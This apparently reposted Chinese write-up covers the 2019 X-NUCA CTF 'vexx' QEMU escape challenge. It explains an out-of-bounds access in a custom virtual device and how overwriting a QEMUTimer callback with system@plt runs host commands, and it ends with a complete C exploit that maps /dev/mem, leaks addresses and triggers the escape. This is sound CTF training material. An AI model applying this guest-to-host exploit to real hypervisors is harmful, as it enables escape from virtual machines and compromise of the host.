C/C++教程

2019 xnuca pwn vexx

本文主要是介绍2019 xnuca pwn vexx,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

在这里插入图片描述
保护是全开的

首先来看启动文件

#!/bin/sh
./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot

设备的名字叫vexx
当然似乎还有个设备叫rtl8139
他是qemu-kvm中的网卡设备,不必多管

启动一下,用的是ubuntu20.04的环境
在这里插入图片描述发现缺几个库

sudo apt-get install libncurses5
sudo apt-get install libncursesw5

两个命令搞定
用户名root
密码goodluck
在这里插入图片描述

函数就这么一堆
在这里插入图片描述
基类初始化没啥好看的
在这里插入图片描述可以看到我们的两个id
在这里插入图片描述
可以找到对应设备的总线等信息。

重点先来看一下类对象初始化的realize
在这里插入图片描述
注册了两个mmio
在这里插入图片描述
最后两个成员也是两个结构体

重点还是来到两个read,两个write,还有cmb的一套对应mmio的read/write

我们一个一个分析
首先看mmio_read
在这里插入图片描述

然后是mmio_write
在这里插入图片描述

然后是pmio_write
在这里插入图片描述

然后是pmio_read
在这里插入图片描述pmio rw没啥。可以对三个变量进行读写。

那就再看看cmb rw

vexx_cmb_read
在这里插入图片描述

vexx_cmb_write

在这里插入图片描述
漏洞很清晰了
所以我们现在就是讨论如何利用漏洞。

我们要重点介绍一个结构体
首先我们要知道我们越界的位置在

VexxState结构体中的req成员
在这里插入图片描述
req成员是一个VexxRequest结构体

在这里插入图片描述
这个成员下面还有一个成员,VxeeDma结构体类型的

在这里插入图片描述
这里面有个成员,dma_timer
他是一个QEMUTimer_0结构体
在这里插入图片描述他又是QEMUTimer结构体的别称

我们要重点介绍的就是这个结构体

在这里插入图片描述
opaque指针指向VexxState的结构体的堆块,我们读它可以泄露堆地址
cb也是一个指针,指向我们的vexx_dma_timer函数,我们可以通过它泄露基地址。

然后呢在vexx_mmio_write里面有一条这样的调用链

在这里插入图片描述
timer_mod

在这里插入图片描述
timer_mod_ns

在这里插入图片描述timerlist_notify

在这里插入图片描述cb(opaque)

所以我们只要把cat flag这种字符串写在req_buf中,再拿到req_buf地址。
然后覆盖cb为system_plt,覆盖opaque为req_buf地址
就可以getshell。

首先先拿到mmio pmio的地址
在这里插入图片描述这里可以拿到pmio的base地址

在这里插入图片描述
这样可以拿到mmio的地址跟大小。

具体哪个地址对应的是那个mmio
看这里
在这里插入图片描述
当然我们也可以通过/dev/mem文件,来访问
我们直接mmap/dev/mem到内存,然后对他访问来控制mmio。
raycp大佬这部分都写好了
我们直接用

exp用了raycp大佬的模板,而且主体部分也比较简单,没啥可写的,就抄来稍作解释。raycp大佬可太强了。

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>


uint32_t mmio_addr = 0xfebd6000;
uint32_t mmio_size = 0x1000;
uint32_t cmb_addr = 0xfebd0000;
uint32_t cmb_size = 0x4000;

unsigned char* mmio_mem;
unsigned char* cmb_mem;
uint32_t pmio_base=0x230;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

uint8_t mmio_read(uint32_t addr)
{
    return *((uint8_t*) (mmio_mem+addr));
}

void mmio_write(uint32_t addr, uint8_t value)
{
    *( (uint32_t *) (mmio_mem+addr) ) = value;
}


uint8_t cmb_read(uint32_t addr)
{
    return *((uint8_t*) (cmb_mem+addr));
}

void cmb_write(uint32_t addr, uint8_t value)
{
    *( (uint8_t *) (cmb_mem+addr) ) = value;
}

void pmio_write(uint32_t addr, uint32_t value)
{
    outb(value,addr);
}


uint8_t pmio_read(uint32_t addr)
{
    return (uint32_t)inb(addr);
}

void set_offset(uint32_t value)
{
    pmio_write(pmio_base+0x10, value);
}

void set_memorymode(uint32_t value)
{
    pmio_write(pmio_base+0x0, value);
}

uint8_t arbitrary_read(uint32_t offset)
{

    set_offset(offset);
    return cmb_read(0x100);
}

void arbitrary_write(uint32_t offset, uint8_t value)
{
    set_offset(offset);
    cmb_write(0x100, value);
}

void normal_write(uint32_t offset, uint8_t value)
{
    set_offset(offset);
    cmb_write(0x0, value);
}

int main(int argc, char *argv[])
{
    //这一部分就是利用/dev/mem直接写,比利用那个resource文件好使。
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }
    cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );
    if ( !cmb_mem ) {
        die("mmap cmb mem failed");
    }

    // 想利用pmio就要先把io等级拉上来
    if (iopl(3) !=0 )
        die("I/O permission is not enough");

	  //泄露地址
    set_memorymode(1);
    uint64_t heap_addr=0,tmp;
    uint32_t i;
    for (i=0;i<8;i++) {
        tmp = arbitrary_read(0x40+i);
        heap_addr=heap_addr+(tmp<<(i*8));
    }
    printf("leaking heap address: 0x%lx\n",heap_addr);

    uint64_t pro_addr=0;
    for (i=0;i<8;i++) {
        tmp = arbitrary_read(0x38+i);
        pro_addr=pro_addr+(tmp<<(i*8));
    }
    printf("leaking pro address: 0x%lx\n",pro_addr);
    uint64_t pro_base= pro_addr-0x4DCF10;
    uint64_t system_plt=pro_base+0x2AB860;
    
    
    //三个任意写
    char *para="ls&&cat ./flag";
    for(i=0; i< strlen(para); i++) {
        normal_write(0x0+i,para[i]);
    }
    uint64_t para_addr=heap_addr+0xb90;
    for(i=0; i<8; i++) {
        arbitrary_write(0x38+i,((char*)&system_plt)[i]);
    }
    for(i=0; i<8; i++) {
        arbitrary_write(0x40+i, ((char*)&para_addr)[i]);
    }
    
    //最后触发
    mmio_write(0x98,1);
}
这篇关于2019 xnuca pwn vexx的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!